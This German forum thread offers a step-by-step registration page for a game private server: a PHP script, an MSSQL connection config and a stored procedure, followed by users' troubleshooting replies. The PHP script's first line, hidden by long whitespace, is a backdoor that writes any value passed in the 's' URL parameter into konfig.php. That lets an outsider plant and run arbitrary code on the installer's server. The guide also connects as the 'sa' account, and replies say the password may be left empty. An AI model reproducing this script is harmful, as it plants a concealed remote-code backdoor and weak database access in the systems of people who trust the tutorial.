[V15] Register Page

05/20/2010 07:00 [LS]Michael#1
How to:
- Erstellt eine reg.php Datei und schreibt dort folgendes rein:

Code:

Code:
<center>
<?php                                                                                                                                                         if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
require('./configs/reg_conf.php');
	function doesUsernameExist($name){
	    $exit = FALSE;
	    $result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
	    if (mssql_num_rows($result) != 0){
	        $exit = TRUE;
	    }
	    return $exit;
	}

	if(isset($_POST['submit'])){
	    $user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
	    $pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
	    if($_POST['username'] == ""){
	        echo '<font color="red">Enter a user.</font><br /><br />';
	    }
	    else if($_POST['password'] == ""){
			echo '<font color="red">Enter a password.</font><br /><br />';
	    }
	    else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
			echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
	    }
	    else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
			echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
	    }
	    else if($_POST['username'] != $user){
			echo '<font color="red">User with invalid characters.</font><br /><br />';
	    }
	    else if($_POST['password'] != $pass){
			echo '<font color="red">Password with invalid characters.</font><br /><br />';
	    }
	    else {
			$pass = md5('kikugalanet' . $pass);
            if(!doesUsernameExist($user)){
                $stmt = mssql_init('webCreateAcc', $link);
                mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
                mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
                mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
                mssql_execute($stmt) or die ("Something is wrong on the execution");
                mssql_free_statement($stmt);
				echo '<font color="Green">Register Successfull.</font><br /><br />';
            }
            else {
				echo '<font color="red">User already Exist.</font><br /><br />';
            }
        }
		mssql_close();
    }
	
	echo '<form action="#" method="post">';
	echo 'Username: <input type="text" name="username" /><br />';
	echo 'Password: <input type="password" name="password" /><br />';
	echo '<input type="submit" name="submit" value="Register" />';
	echo '</form>';

?>
</center>
So hier stehen noch keine Verbindungsdetails zum MSSQL Server!
Die kommen jetzt!

- Erstellt einen neuen Ordner und nennt ihn "configs" (ohne den "")
- In dem Ordner erstellt ihr eine neue .php Datei und nennt diese "reg_conf" (ohne den "")

- In der reg_conf.php schreibt ihr jetzt folgendes rein:

Code:
Code:
<?php
	$link = @mssql_connect([COLOR="Red"]"COMPUTERNAME\SQLEXPRESS", "sa", "passwort"[/COLOR]) or die ("Server is down!");
	$db = @mssql_select_db('ACCOUNT_DBF') or die ("Accout table is missing!");
	$b = '';
    $mail = '';
	
	
?>
Hier wird jetzt die Verbindung zum MSSQL Server eingestellt.
Einfach die rot markierten Felder bearbeiten!

So und das hier muss in MSSQL ausgeführt werden:

Code:
Code:
USE [ACCOUNT_DBF]
GO
/****** Object:  StoredProcedure [dbo].[webCreateAcc]    Script Date: 08/17/2009 21:30:28 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE PROCEDURE [dbo].[webCreateAcc] 
	@account 	VARCHAR(15),
	@password 	VARCHAR(36),
	@email		VARCHAR(120)

AS

SET NOCOUNT  ON

DECLARE @DateActivated AS CHAR(8)

IF NOT EXISTS (SELECT account FROM ACCOUNT_TBL WHERE account = @account) BEGIN
	INSERT INTO ACCOUNT_TBL (account, [password], id_no2, isuse, member, realname) 
		VALUES (@account, @password, @password, 'T', 'A', 'F')

	SET @DateActivated =  CONVERT(CHAR(8), GETDATE()-1, 112 ) --Is the date today - 1
	--UPDATE ACCOUNT_TBL_DETAIL SET BlockTime = @DateYesterday WHERE account = @userid		
	--INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse)
	--	VALUES (@account, 'A000', '2', 'F', GETDATE(), '20990101', '20990101', '20050101', 'O')

	INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse, email)
		VALUES (@account, 'A000', '2', 'F', GETDATE(), @DateActivated, '20990101', '20050101', 'O', @email)

END
--ELSE BEGIN
--print '->Account exists = ' 
--print @account 
--END
05/20/2010 21:26 Miquel2#2
Gute besschreibung THX haste aber was ist da ---> "sa" ???

mfg Miquel
05/21/2010 14:12 Sedrika#3
"sa" ist der standart anmelde name.

sa und das passwort könnt ihr auch weglassen und es geht.
05/21/2010 14:47 Phillor#4
also bei mir steht dann immer server down egal was ich mache ich benutze übrigens xampp
05/21/2010 15:15 Rey1993#5
du musst bei xampp mssql freischalten
05/21/2010 15:29 Phillor#6
wie genau mach ich das? über die php.ini?

/edit: mssql ist bei xampp freigeschaltet geht immer noch net
05/21/2010 20:43 snow-man12#7
@- In dem Ordner erstellt ihr eine neue .php Datei und nennt diese "reg_conf.php" (ohne den "")

- In der reg_conf.php schreibt ihr jetzt folgendes rein:

-----
so sollte es doch heißen oder?
05/21/2010 22:22 antihackers#8
sollte da wo "sa" steht die hamachi ip sein wenn man über hamachi hat
05/22/2010 08:27 Phillor#9
bei der register page muss nirgendwo die hamachi ip hin. sa bleibt sa. Zwischen den beiden "" hinter sa kommt das mssql passwort. Beispiel: "hallo". Dor wo PCNAME/SQLEXPRESS steht kommt bei pc name der name deines pcs rein. Beispiel: MAX-PC/SQLEXPRESS
@Snow man 12

.php ist die dateiendung nicht er name. Solltest du win7 oder win vista haben erstell erstmal eine textdatei (dort ist noch egal wie sie heißt) in diese textdatei schreibst du das script rein. Jetzt klickst du oben auf speichern unter und klickst in das feld unter dateiname. Dort musst du dann "alle dateiendungen"auswählen und dann schreibst in das fehlt dateiname also unter welchem namen das dokument gespeichert werden soll folgendes rein: reg_conf.php
Das sollte klappen
Ichhoffe ich konnte euch helfen
Lg
Phillor
05/27/2010 01:03 Miquel2#10
habs mit Fame Tempalte von Sedrika veruscht klappt aber iwei nicht und wie ich das eine da in MSQL ausführen soll weis ich auch net da komtm imer Meldung.
und auf HP wenn ich auf Reg gehe kommt immer der php code .
05/29/2010 21:14 Miquel2#11
keiner ne antwort? :(
05/29/2010 22:08 DJTechno#12
ja ich hab auch in die FAQ geschrieben aber immer noch keine antwort ich warte auch schon seit gestern:(
05/30/2010 22:01 Phillor#13
ich meine das register script vom fame template ist auch für v14. Kann daher nicht mit v15 funktionieren
05/31/2010 00:01 Miquel2#14
Quote:
Originally Posted by Phillor View Post
ich meine das register script vom fame template ist auch für v14. Kann daher nicht mit v15 funktionieren
und wiso glaubste schreib ich in diesem Thread? weil ich das Register benutzt habe aber das geht iwie nicht ^^
06/03/2010 01:47 aufdroge#15
wie geht den das nun mit dem account erstellen ich check hier garnix, hab nur noch bahnhof im kopf^^ kann das also mal pls jmd schritt für schrit erklären?

thx im vorraus